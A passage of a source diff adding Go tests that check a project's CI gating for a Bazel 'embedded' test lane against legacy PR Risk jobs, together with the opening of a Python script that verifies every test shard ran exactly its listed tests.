too. + for _, res := range []string{"failure", "cancelled", ""} { + sc := prGateFor(t, lanes, "pull_request", "remote", "true") + sc.outputs[bazelEmbedJobName] = res + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_RETIRED") { + t.Errorf("covered, embedded lane %q: gate pass = %v, want red naming BAZEL_EMBEDDED_RETIRED\n%s", res, pass, out) + } + } + // Covered, and an embedded result of success the mode cannot produce + // (the lane runs only in mode remote): the mode alone still makes it red. + for _, mode := range []string{"skip", "local"} { + sc := prGateFor(t, lanes, "pull_request", mode, "true") + sc.outputs[bazelEmbedJobName] = "success" + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_RETIRED") { + t.Errorf("covered, mode %s, embedded reported success: gate pass = %v, want red naming BAZEL_EMBEDDED_RETIRED\n%s", mode, pass, out) + } + } + // pr.yml's coverage job failed: red even where nothing is retired. + for _, res := range []string{"failure", "cancelled", "skipped"} { + sc := prGateFor(t, lanes, "pull_request", "skip", "") + sc.coverage = res + if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::BAZEL_EMBEDDED_COVERAGE") { + t.Errorf("coverage job %s: gate pass = %v, want red naming BAZEL_EMBEDDED_COVERAGE\n%s", res, pass, out) + } + } + // A value that is not a boolean fails the job rather than deciding. + if out, err := runBazelRBEDecision(t, riskStep.Run, map[string]string{ + "RETIRED": "true", "PULL_REQUEST": "true", "FORK": "", "DEPENDABOT": "false", + }); err == nil { + t.Errorf("decision with FORK='' succeeded with %v; want failure", out) + } +} + +// prRiskGateScenario: what pr-risk.yml's ci-gate sees. +type prRiskGateScenario struct { + name string + results map[string]string // needs..result + outputs map[string]string // needs..outputs., keyed "job.name" + wantPass bool + wantMention string +} + +// runPRRiskGateStep runs pr-risk.yml's actual "Evaluate CI gate" step with its +// env evaluated for the scenario. An env expression of any other form fails +// the test. +func runPRRiskGateStep(t *testing.T, step ciWorkflowStep, sc prRiskGateScenario) (bool, string) { + t.Helper() + expr := regexp.MustCompile(`^\$\{\{ needs\.([A-Za-z0-9_-]+)\.(result|outputs\.([A-Za-z0-9_-]+)) \}\}$`) + env := []string{"PATH=" + os.Getenv("PATH"), "GITHUB_EVENT_NAME=pull_request"} + for key, value := range step.Env { + if !strings.Contains(value, "${{") { + env = append(env, key+"="+value) + continue + } + m := expr.FindStringSubmatch(value) + if m == nil { + t.Fatalf("pr-risk ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) + } + var got string + var ok bool + if m[2] == "result" { + got, ok = sc.results[m[1]] + } else { + got, ok = sc.outputs[m[1]+"."+m[3]], true + } + if !ok { + t.Fatalf("scenario %q has no result for needs.%s", sc.name, m[1]) + } + env = append(env, key+"="+got) + } + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) + cmd.Dir = sourceRepoRoot(t) + cmd.Env = env + out, err := cmd.CombinedOutput() + return err == nil, string(out) +} + +// The legacy embedded test jobs skip only when covered, and PR Risk's gate +// accepts their skip only then: the jobs' needs and if, the gate's wiring, +// and the actual gate step over every tier x decision, including a missing, +// failed or non-true decision with the jobs skipped (red). +func TestPRRiskLegacyEmbeddedTierDefersToBazelLane(t *testing.T) { + requireHostTool(t, "bash") + risk := readCIWorkflow(t, prRiskWorkflowName) + for _, name := range prRiskBazelCoveredJobs { + job := risk.job(t, name) + if job.If != prRiskBazelCoveredIf { + t.Errorf("%s if = %q, want %q", name, job.If, prRiskBazelCoveredIf) + } + if want := []string{"detect-ci-tier", prRiskCoverageJobName, "build-embedded"}; !reflect.DeepEqual([]string(job.Needs), want) { + t.Errorf("%s needs = %v, want %v", name, job.Needs, want) + } + } + // Every other job ignores the decision (build-embedded's artifact feeds + // the proxied and server Dolt jobs, which Bazel does not replace here). + covered := map[string]bool{} + for _, name := range prRiskBazelCoveredJobs { + covered[name] = true + } + for name, job := range risk.Jobs { + if covered[name] || name == "ci-gate" || name == prRiskCoverageJobName { + continue + } + if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { + t.Errorf("%s depends on %s; only %v may stand down", name, prRiskCoverageJobName, prRiskBazelCoveredJobs) + } + } + + gate := risk.job(t, "ci-gate") + step := gate.step(t, "Evaluate CI gate") + required := strings.Fields(step.Env["CI_GATE_REQUIRED"]) + if !contains(gate.Needs, prRiskCoverageJobName) || !contains(required, "BAZEL_EMBEDDED_COVERAGE") || + step.Env["BAZEL_EMBEDDED_COVERAGE"] != "${{ needs."+prRiskCoverageJobName+".result }}" || + step.Env["BAZEL_COVERS_EMBEDDED"] != "${{ needs."+prRiskCoverageJobName+".outputs.covered }}" { + t.Errorf("pr-risk ci-gate does not require %s's result and read its covered output: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) + } + for _, id := range prRiskBazelCoveredIDs { + if !contains(required, id) { + t.Errorf("pr-risk ci-gate no longer requires %s (it runs wherever the Bazel lane does not)", id) + } + } + + // Each gated job's result for (tier, decision), as the jobs' if: produce + // it: needs.* outputs are strings, so only covered == 'true' skips. + results := func(full bool, coverageResult, coveredOut string) map[string]string { + r := map[string]string{} + for _, job := range gate.Needs { + r[job] = "success" + } + r[prRiskCoverageJobName] = coverageResult + for name := range risk.Jobs { + if !contains(gate.Needs, name) || name == "detect-ci-tier" || name == prRiskCoverageJobName || name == "test-nix" { + continue + } + runs := full + if covered[name] { + // A failed decision job skips its dependents. + runs = full && coverageResult == "success" && coveredOut != "true" + } + if !runs { + r[name] = "skipped" + } + } + return r + } + outputs := func(full bool, coveredOut string) map[string]string { + return map[string]string{ + "detect-ci-tier.full_embedded": strconv.FormatBool(full), + prRiskCoverageJobName + ".covered": coveredOut, + } + } + + var scenarios []prRiskGateScenario + for _, full := range []bool{true, false} { + for _, coveredOut := range []string{"true", "false"} { + name := fmt.Sprintf("full_embedded=%v covered=%s", full, coveredOut) + r := results(full, "success", coveredOut) + scenarios = append(scenarios, prRiskGateScenario{name: name + ", as designed", results: r, outputs: outputs(full, coveredOut), wantPass: true}) + for _, id := range prRiskBazelCoveredJobs { + if r[id] == "skipped" { + // Skipped by design; if it ran anyway and failed, red. + bad := copyMap(r) + bad[id] = "failure" + scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " ran and failed", bad, outputs(full, coveredOut), false, prRiskBazelCoveredIDs[id]}) + continue + } + for _, res := range []string{"skipped", "failure", "cancelled"} { + bad := copyMap(r) + bad[id] = res + scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " " + res, bad, outputs(full, coveredOut), false, prRiskBazelCoveredIDs[id]}) + } + } + if full { + // The decision never excuses the jobs it does not retire. + for _, id := range []string{"build-embedded", "test-proxied-cmd", "test-server-storage", "test-server-storage-full"} { + bad := copyMap(r) + bad[id] = "skipped" + scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " skipped", bad, outputs(full, coveredOut), false, ""}) + } + } + } + } + // A failed, cancelled or missing decision, or one that is not exactly + // 'true', excuses nothing, whatever the jobs did. + for _, bad := range []struct{ result, covered string }{ + {"failure", ""}, {"cancelled", ""}, {"skipped", ""}, {"success", ""}, {"success", "TRUE "}, {"success", "yes"}, {"success", "1"}, + } { + r := results(true, "success", "false") + r[prRiskCoverageJobName] = bad.result + for _, id := range prRiskBazelCoveredJobs { + r[id] = "skipped" + } + scenarios = append(scenarios, prRiskGateScenario{ + name: fmt.Sprintf("decision %s covered=%q, legacy skipped", bad.result, bad.covered), + results: r, outputs: outputs(true, bad.covered), wantPass: false, wantMention: "TEST_EMBEDDED_STORAGE", + }) + } + // The decision job itself must succeed even when nothing else needs it. + for _, res := range []string{"failure", "cancelled", "skipped"} { + r := results(false, "success", "false") + r[prRiskCoverageJobName] = res + scenarios = append(scenarios, prRiskGateScenario{"docs-only, decision " + res, r, outputs(false, ""), false, "BAZEL_EMBEDDED_COVERAGE"}) + } + + for _, sc := range scenarios { + t.Run(sc.name, func(t *testing.T) { + pass, out := runPRRiskGateStep(t, step, sc) + if pass != sc.wantPass { + t.Errorf("gate pass = %v, want %v (results %v, outputs %v)\n%s", pass, sc.wantPass, sc.results, sc.outputs, out) + } + if !sc.wantPass && sc.wantMention != "" && !regexp.MustCompile(`::error::`+sc.wantMention+`\b`).MatchString(out) { + t.Errorf("red gate does not name %s:\n%s", sc.wantMention, out) + } + }) + } +} + +func copyMap(m map[string]string) map[string]string { + out := make(map[string]string, len(m)) + for k, v := range m { + out[k] = v + } + return out +} + +// Review F5: bazel-embedded checks, after the run, that every Bazel shard of +// the manifest-sharded targets ran exactly the tests its PR Risk shard +// script lists, for the targets and shard counts of the legacy jobs. +func TestBazelEmbeddedChecksListedTestsRan(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) + step := job.step(t, "Every listed test ran in its shard") + risk := readCIWorkflow(t, prRiskWorkflowName) + want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} + for _, c := range []struct{ job, label, script string }{ + {"test-embedded-cmd", "//cmd/bd:bd_embedded_test", ".github/scripts/embedded-test-shard.sh"}, + {"test-embedded-storage", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh"}, + } { + shards := len(risk.job(t, c.job).Strategy.Matrix.Shard) + if !strings.Contains(risk.job(t, c.job).step(t, "Test").Run, c.script) { + t.Errorf("pr-risk.yml %s no longer runs %s; update this suite", c.job, c.script) + } + want = append(want, fmt.Sprintf("--suite %s %s %d", c.label, c.script, shards)) + } + // The conformance partitions (unsharded): not all skipped. + for _, partition := range []string{"core", "audit"} { + if risk.job(t, "test-embedded-conformance").step(t, "Test "+partition+" conformance").Run == "" { + t.Errorf("pr-risk.yml test-embedded-conformance has no %s partition; update this check", partition) + } + want = append(want, "--whole //internal/storage/embeddeddolt:embeddeddolt_conformance_"+partition+"_test") + } + if got := strings.Join(strings.Fields(step.Run), " "); got != strings.Join(want, " ") { + t.Errorf("%s coverage step runs %q, want %q", bazelEmbedJobName, got, strings.Join(want, " ")) + } + if step.If != "${{ always() && steps.test.outcome != 'skipped' }}" || step.ContinueOnError != nil { + t.Errorf("coverage step: if %q, continue-on-error %v; want always() after the test step and no continue-on-error", step.If, step.ContinueOnError) + } + if !(job.stepIndex(t, "bazel test //... --config=embedded") < job.stepIndex(t, step.Name) && + job.stepIndex(t, step.Name) < job.stepIndex(t, "Record job result")) { + t.Errorf("coverage step must run after the test step and before the result recorder") + } +} + +// check_shard_coverage.py itself, on a synthetic BEP, test.xml files and +// shard script. +func TestCheckShardCoverageScript(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("scripts_test's runfiles hold no tools/bazel Python") + } + requireHostTool(t, "bash") + python := requireHostTool(t, "python3") + script := filepath.Join(sourceRepoRoot(t), "tools", "bazel", "check_shard_coverage.py") + dir := t.TempDir() + shard := filepath.Join(dir, "shard.sh") + // Shard 1 lists TestA and TestB, shard 2 TestC; list-only mode only. + if err := os.WriteFile(shard, []byte(`#!/usr/bin/env bash +set -euo pipefail +[ "${BEADS_TEST_SHARD_LIST_ONLY:-}" = 1 ] || { echo "not list-only" >&2; exit 3; } +[ "$2" = 2 ] || { echo "bad total $2" >&2; exit 1; } +echo "Shard $1/$2: running" +echo " manifest: 1, fallback: 0" +case "$1" in + 1) printf ' %s\n' TestA TestB TestMain ;; # TestMain: never a testcase + 2) printf ' %s\n' TestC ;; + *) exit 1 ;; +esac +[ -z "${FAKE_SHARD_FAIL:-}" ] || exit 1 +`), 0o755); err != nil { + t.Fatal(err) + } + const label = "//pkg:t" + writeBEP := func(shards int) string { + lines := []string{`{"id":{"targetConfigured":{"label":"` + label + `"}},"configured":{"targetKind":"sh_test rule"}}`} + for k := 1; k <= shards; k++ { + lines = append(lines, fmt.Sprintf(`{"id":{"testResult":{"label":"%s","shard":%d,"run":1,"attempt":1}}}`, label, k)) + } + path := filepath.Join(dir, fmt.Sprintf("bep%d.json", shards)) + if err := os.WriteFile(path, []byte(strings.Join(lines, "\n")+"\n"), 0o644); err != nil { + t.Fatal(err) + } + return path + } + // A name ending in "~" is written as a skipped testcase. + writeXML := func(logs string, k int, names ...string) { + d := filepath.Join(logs, "pkg", "t", fmt.Sprintf("shard_%d_of_2", k)) + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + var b strings.Builder + b.WriteString(``) + for _, n := range names { + if skipped, ok := strings.CutSuffix(n, "~"); ok { + fmt.Fprintf(&b, ``, skipped) + continue + } + fmt.Fprintf(&b, ``, n) + } + b.WriteString(``) + if err := os.WriteFile(filepath.Join(d, "test.xml"), []byte(b.String()), 0o644); err != nil { + t.Fatal(err) + } + } + run := func(bep, logs string) (bool, string) { + cmd := exec.Command(python, script, "--bep", bep, "--testlogs", logs, "--suite", label, shard, "2") + out, err := cmd.CombinedOutput() + return err == nil, string(out) + } + cases := []struct { + name string + bepShard int + s1, s2 []string + pass bool + mention string + }{ + {"exact", 2, []string{"TestA", "TestB", "TestA/sub"}, []string{"TestC"}, true, ""}, + {"listed test missing from the binary", 2, []string{"TestA"}, []string{"TestC"}, false, "TestB is listed"}, + {"test in the wrong shard", 2, []string{"TestA", "TestB", "TestC"}, []string{}, false, "TestC"}, + {"unlisted test ran", 2, []string{"TestA", "TestB", "TestZ"}, []string{"TestC"}, false, "TestZ ran"}, + {"shard count differs", 1, []string{"TestA", "TestB"}, []string{"TestC"}, false, "want 2"}, + {"missing test.xml", 2, []string{"TestA", "TestB"}, nil, false, "missing"}, + // Review G5: a shard whose test.xml has no top-level test at all + // still reports every listed test missing (check_testcases.py also + // rejects it, but this check must not depend on that). + {"shard ran zero tests", 2, []string{}, []string{"TestC"}, false, "TestA is listed"}, + {"zero tests, only subtests", 2, []string{"TestA/sub"}, []string{"TestC"}, false, "TestB is listed"}, + // Review G3: some skips are fine; a shard of only skips is not. + {"some skipped", 2, []string{"TestA~", "TestB"}, []string{"TestC"}, true, ""}, + {"shard all skipped", 2, []string{"TestA~", "TestB~"}, []string{"TestC"}, false, "shard 1/2: every top-level test (2) was skipped"}, + } + for i, c := range cases { + t.Run(c.name, func(t *testing.T) { + logs := filepath.Join(dir, fmt.Sprintf("logs%d", i)) + writeXML(logs, 1, c.s1...) + if c.s2 != nil { + writeXML(logs, 2, c.s2...) + } + pass, out := run(writeBEP(c.bepShard), logs) + if pass != c.pass || (c.mention != "" && !strings.Contains(out, c.mention)) { + t.Errorf("pass = %v, want %v (mention %q):\n%s", pass, c.pass, c.mention, out) + } + }) + } + // --whole: an unsharded target must list a test and not only skips. + for i, c := range []struct { + names []string + pass bool + mention string + }{ + {[]string{"TestConformance"}, true, ""}, + {[]string{"TestConformance~"}, false, "was skipped"}, + {[]string{}, false, "lists no tests"}, + } { + logs := filepath.Join(dir, fmt.Sprintf("whole%d", i)) + d := filepath.Join(logs, "pkg", "w") + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + xml := `` + for _, n := range c.names { + if skipped, ok := strings.CutSuffix(n, "~"); ok { + xml += `` + } else { + xml += `` + } + } + xml += `` + if err := os.WriteFile(filepath.Join(d, "test.xml"), []byte(xml), 0o644); err != nil { + t.Fatal(err) + } + bep := filepath.Join(dir, fmt.Sprintf("whole%d.json", i)) + if err := os.WriteFile(bep, []byte(`{"id":{"targetConfigured":{"label":"//pkg:w"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"//pkg:w","run":1,"attempt":1}}} +{"id":{"targetConfigured":{"label":"`+label+`"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"`+label+`","shard":1}}} +{"id":{"testResult":{"label":"`+label+`","shard":2}}} +`), 0o644); err != nil { + t.Fatal(err) + } + writeXML(logs, 1, "TestA", "TestB") + writeXML(logs, 2, "TestC") + out, err := exec.Command(python, script, "--bep", bep, "--testlogs", logs, "--suite", label, shard, "2", "--whole", "//pkg:w").CombinedOutput() + if (err == nil) != c.pass || (c.mention != "" && !strings.Contains(string(out), c.mention)) { + t.Errorf("--whole %v: pass = %v, want %v (mention %q):\n%s", c.names, err == nil, c.pass, c.mention, out) + } + } + if out, err := exec.Command(python, script, "--bep", writeBEP(2), "--testlogs", filepath.Join(dir, "logs0"), "--suite", label, shard, "2", "--whole", "//pkg:absent").CombinedOutput(); err == nil { + t.Errorf("--whole for a target the BEP lacks passed:\n%s", out) + } + + // A failing shard script fails the check, even if what it listed + // matches; so does a missing one. + logs := filepath.Join(dir, "logs-bad") + writeXML(logs, 1, "TestA", "TestB") + writeXML(logs, 2, "TestC") + for _, c := range []struct { + script string + env []string + }{{shard, []string{"FAKE_SHARD_FAIL=1"}}, {"/nonexistent/shard.sh", nil}} { + cmd := exec.Command(python, script, "--bep", writeBEP(2), "--testlogs", logs, "--suite", label, c.script, "2") + cmd.Env = append(os.Environ(), c.env...) + if out, err := cmd.CombinedOutput(); err == nil || !strings.Contains(string(out), "failed") { + t.Errorf("shard script %s %v: check passed or did not say it failed:\n%s", c.script, c.env, out) + } + } +} + +// Review G1: the checker's input is the real shard scripts' list-only +// output. Every name they list, for every shard, must be a test go test +// runs (declared `func Name(t *testing.T)` in the package's _test.go files), +// or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name +// must really not be a test (TestMain takes *testing.M). Otherwise the +// checker reports a listed test that "did not run" on every real run. +func TestEmbeddedShardScriptsListOnlyRealTests(t *testing.T) { + if os.Getenv("TEST_SRCDIR") != "" { + t.Skip("scripts_test's runfiles hold neither the shard scripts' sources nor tools/bazel") + } + requireHostTool(t, "bash") + root := sourceRepoRoot(t) + m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) + if m == nil { + t.Fatal("tools/bazel/check_shard_coverage.py has no NOT_TESTS = frozenset({...})") + } + notTests := map[string]bool{} + for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { + notTests[q[1]] = true + } + risk := readCIWorkflow(t, prRiskWorkflowName) + for _, c := range []struct{ job, script, pkg string }{ + {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, + {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt"}, + } { + var src strings.Builder + files, err := filepath.Glob(filepath.Join(root, c.pkg, "*_test.go")) + if err != nil || len(files) == 0 { + t.Fatalf("%s: no _test.go files (%v)", c.pkg, err) + } + for _, f := range files { + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + src.Write(data) + src.WriteString("\n") + } + declared := map[string]bool{} + for _, d := range regexp.MustCompile(`(?m)^func (Test\w*)\(\w+ \*testing\.T\) \{`).FindAllStringSubmatch(src.String(), -1) { + declared[d[1]] = true + } + shards := len(risk.job(t, c.job).Strategy.Matrix.Shard) + listed := 0 + for k := 1; k <= shards; k++ { + cmd := exec.Command("bash", c.script, strconv.Itoa(k), strconv.Itoa(shards)) + cmd.Dir = root + cmd.Env = append(os.Environ(), "BEADS_TEST_SHARD_LIST_ONLY=1") + out, err := cmd.Output() + if err != nil { + t.Fatalf("%s %d %d: %v", c.script, k, shards, err) + } + for _, line := range strings.Split(string(out), "\n") { + name, ok := strings.CutPrefix(line, " ") + if !ok || !strings.HasPrefix(name, "Test") || strings.ContainsAny(name, " :") { + continue + } + listed++ + isTest := declared[name] + switch { + case notTests[name] && isTest: + t.Errorf("%s shard %d lists %s, which check_shard_coverage.py drops, but it is a real test", c.script, k, name) + case !notTests[name] && !isTest: + t.Errorf("%s shard %d lists %s, which is not a `func %s(t *testing.T)` test in %s: check_shard_coverage.py would report it missing on every run (add it to NOT_TESTS only if go test never runs it)", + c.script, k, name, name, c.pkg) + } + } + } + if listed < 50 { + t.Errorf("%s listed only %d tests over %d shards; did the list-only output format change?", c.script, listed, shards) + } + } + for name := range notTests { + if name != "TestMain" { + t.Errorf("NOT_TESTS has %s; only TestMain is never a test", name) + } + } +} + +// Review G3: since D2 step 1 the Bazel embedded lane is the tier's only +// pre-merge run on same-repo PRs, so nothing that reaches it may narrow it +// (select fewer tests, or turn them into skips) without a reviewed edit of +// this test. TestBazelEmbeddedJobMirrorsEmbeddedTier pins the command line +// and the --config=embedded lines; this covers everything else that applies +// to the lane: every other .bazelrc line of a config the lane uses (the +// unconfigured ones, remote-exec, which setup-bazel's rc enables, and any +// config those pull in), rc files that would be try-imported, the +// tools/bazel scripts every test runs under or through, the whole +// setup-bazel action, and the embedded-tagged targets' args and env. At run +// time, check_shard_coverage.py also fails a shard of only skips. +func TestBazelEmbeddedLaneCannotBeNarrowed(t *testing.T) { + root := sourceRepoRoot(t) + rcNarrow := regexp.MustCompile(`test_filter|test_arg|-test\.|_filters\b|test_env=(BEADS_TEST|GO_TEST|TESTBRIDGE)|--config=|cache_test_results|run_under|flaky|runs_per_test|test_sharding_strategy|build_tests_only`) + const runUnder = "test --run_under=//tools/bazel:test_env" + wantImports := []string{"try-import %workspace%/.bazelrc.local", "try-import %workspace%/user.bazelrc"} + + type rcLine struct{ cmd, config, text string } + var lines []rcLine + var imports []string + sawRunUnder := false + for _, raw := range strings.Split(readPolicyFile(t, root, ".bazelrc"), "\n") { + line := strings.TrimSpace(raw) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + head, _, _ := strings.Cut(line, " ") + if head == "import" || head == "try-import" { + imports = append(imports, line) + continue + } + cmd, config, _ := strings.Cut(head, ":") + lines = append(lines, rcLine{cmd, config, line}) + } + if !reflect.DeepEqual(imports, wantImports) { + t.Errorf(".bazelrc imports %v, want exactly %v (an import can carry any flag into the lane)", imports, wantImports) + } + // The configs the lane uses: --config=embedded (pinned), remote-exec + // (setup-bazel's generated rc), the unconfigured lines, and anything they + // reference (which the check below then forbids anyway). + inUse := map[string]bool{"": true, "embedded": true, "remote-exec": true} + for changed := true; changed; { + changed = false + for _, l := range lines { + if !inUse[l.config] { + continue + } + for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(l.text, -1) { + if !inUse[m[1]] { + inUse[m[1]], changed = true, true + } + } + } + } + pinned := map[string]bool{} + for _, l := range bazelEmbeddedRCLines { + pinned[l] = true + } + for _, l := range lines { + if !inUse[l.config] || pinned[l.text] { + continue + } + if l.config == "embedded" { + t.Errorf(".bazelrc %q: not one of the pinned --config=embedded lines", l.text) + continue + } + if l.text == runUnder { + sawRunUnder = true + continue + } + if rcNarrow.MatchString(l.text) { + t.Errorf(".bazelrc %q applies to the embedded lane (config %q) and selects, narrows or re-runs tests", l.text, l.config) + } + } + if !sawRunUnder { + t.Errorf(".bazelrc lacks %q (the wrapper the narrowing checks below cover)", runUnder) + } + + // Committed rc files: only .bazelrc. .bazelrc.local and user.bazelrc are + // developer-local (gitignored) and would be try-imported into CI runs. + if os.Getenv("TEST_SRCDIR") == "" { + if git, err := exec.LookPath("git"); err == nil { + out, err := exec.Command(git, "-C", root, "ls-files").Output() + if err != nil { + t.Fatal(err) + } + for _, f := range strings.Split(strings.TrimSpace(string(out)), "\n") { + base := filepath.Base(f) + if strings.Contains(base, "bazelrc") && f != ".bazelrc" && f != setupBazelActionDir+"/write-bazelrc.sh" { + t.Errorf("committed rc file %s: .bazelrc's try-import would load it into every CI run", f) + } + } + } + } + + // The scripts every embedded test runs under or through, and the whole + // setup-bazel action (its generated rc applies to every command). + if os.Getenv("TEST_SRCDIR") == "" { + scriptNarrow := regexp.MustCompile(`-test\.(short|run|skip|list|bench)|BEADS_TEST_SKIP|BEADS_TEST_EMBEDDED_DOLT|TESTBRIDGE_TEST_ONLY|test_filter|test_arg|_filters\b|cache_test_results|flaky|runs_per_test|test_sharding_strategy`) + files, _ := filepath.Glob(filepath.Join(root, "tools", "bazel", "*.sh")) + action, _ := filepath.Glob(filepath.Join(root, setupBazelActionDir, "*")) + files = append(files, action...) + if len(files) < 5 { + t.Fatalf("found only %v", files) + } + for _, f := range files { + rel, _ := filepath.Rel(root, f) + data, err := os.ReadFile(f) + if err != nil { + t.Fatal(err) + } + for i, line := range strings.Split(string(data), "\n") { + code := strings.TrimSpace(line) + if strings.HasPrefix(code, "#") { + continue + } + if scriptNarrow.MatchString(code) { + t.Errorf("%s:%d %q can select, skip or re-run the embedded lane's tests", rel, i+1, code) + } + for _, m := range regexp.MustCompile(`--config=([A-Za-z0-9_-]+)`).FindAllStringSubmatch(code, -1) { + if m[1] != "remote-exec" { + t.Errorf("%s:%d enables --config=%s for every command", rel, i+1, m[1]) + } + } + } + } + } + + // The embedded-tagged targets: exactly these, with exactly these args + // and env (the legacy jobs' flags; the shard scripts add the rest). + if os.Getenv("TEST_SRCDIR") != "" { + return // scripts_test's runfiles hold no other package's BUILD + } + type target struct { + args []string + env map[string]string + } + want := map[string]target{ + "//cmd/bd:bd_embedded_test": { + []string{"$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, + map[string]string{"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)"}, + }, + "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { + []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, + "//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test": { + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$", "-test.skip=^TestConformance$$/^Audit$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, + "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test": { + []string{"$(rootpath :embeddeddolt_test)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^TestConformance$$/^Audit$$"}, + map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, + } + quoted := regexp.MustCompile(`"([^"]*)"`) + envPair := regexp.MustCompile(`"([^"]*)":\s*"([^"]*)"`) + nameRe := regexp.MustCompile(`(?m)^ name = "([^"]+)",$`) + tagsRe := regexp.MustCompile(`(?ms)^ tags = \[(.*?)\],$`) + envRe := regexp.MustCompile(`(?ms)^ env = \{(.*?)\},$`) + got := map[string]target{} + err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + switch d.Name() { + case ".git", "node_modules", ".beads": + return filepath.SkipDir + } + return nil + } + if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD") { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + pkg, _ := filepath.Rel(root, filepath.Dir(path)) + for _, rule := range bazelTopRules(string(data)) { + tags := tagsRe.FindStringSubmatch(rule) + if tags == nil || !strings.Contains(tags[1], `"embedded"`) { + continue + } + name := nameRe.FindStringSubmatch(rule) + if name == nil { + t.Errorf("%s: an embedded-tagged rule without a literal name:\n%s", pkg, rule) + continue + } + var tg target + for _, q := range quoted.FindAllStringSubmatch(bazelAttrBlock(rule, "args"), -1) { + tg.args = append(tg.args, q[1]) + } + tg.env = map[string]string{} + if e := envRe.FindStringSubmatch(rule); e != nil { + for _, p := range envPair.FindAllStringSubmatch(e[1], -1) { + tg.env[p[1]] = p[2] + } + } + if strings.Contains(rule, "args = select") || strings.Contains(rule, "env = select") || strings.Contains(rule, "env_inherit") { + t.Errorf("//%s:%s sets args/env indirectly; keep them literal so this check sees them", pkg, name[1]) + } + got["//"+filepath.ToSlash(pkg)+":"+name[1]] = tg + } + return nil + }) + if err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(got, want) { + t.Errorf("embedded-tagged targets' args/env changed:\ngot %v\nwant %v", got, want) + } +} + +// Review G4: bazel-embedded asks Bazel which test targets are flaky (a +// grep of BUILD files misses `flaky = _VAR` or a macro default) before it +// runs the tier, and fails on any. +func TestBazelEmbeddedQueriesFlakyTargets(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) + step := job.step(t, "No test target is marked flaky") + const want = `flaky="$(bazel query 'attr(flaky, 1, tests(//...))')" +if [ -n "$flaky" ]; then + echo "::error::flaky = True on ${flaky//$'\n'/ }: the gated lanes run each test once" + exit 1 +fi` + if strings.TrimSpace(step.Run) != want || step.If != "" || step.ContinueOnError != nil { + t.Errorf("flaky query step: if %q, continue-on-error %v, run:\n%s\nwant run:\n%s", step.If, step.ContinueOnError, step.Run, want) + } + if !(job.stepIndex(t, "Set up Bazel") < job.stepIndex(t, step.Name) && job.stepIndex(t, step.Name) < job.stepIndex(t, "bazel test //... --config=embedded")) { + t.Errorf("flaky query step must run after setup-bazel and before the tier") + } +} diff --git a/tools/bazel/check_shard_coverage.py b/tools/bazel/check_shard_coverage.py new file mode 100755 index 000000000..df78c5362 --- /dev/null +++ b/tools/bazel/check_shard_coverage.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Fail unless every Bazel shard ran exactly the tests its shard script lists. + +Usage: check_shard_coverage.py --bep [--testlogs DIR] + --suite LABEL SCRIPT SHARDS [--suite ...] + [--whole LABEL ...] + +The manifest-sharded targets (//cmd/bd:bd_embedded_test runs +.github/scripts/embedded-test-shard.sh, ...) discover their tests from +source with grep, but the Bazel test binary holds only the files in the +go_test's srcs. A discovered test the binary lacks matches nothing in the +shard's 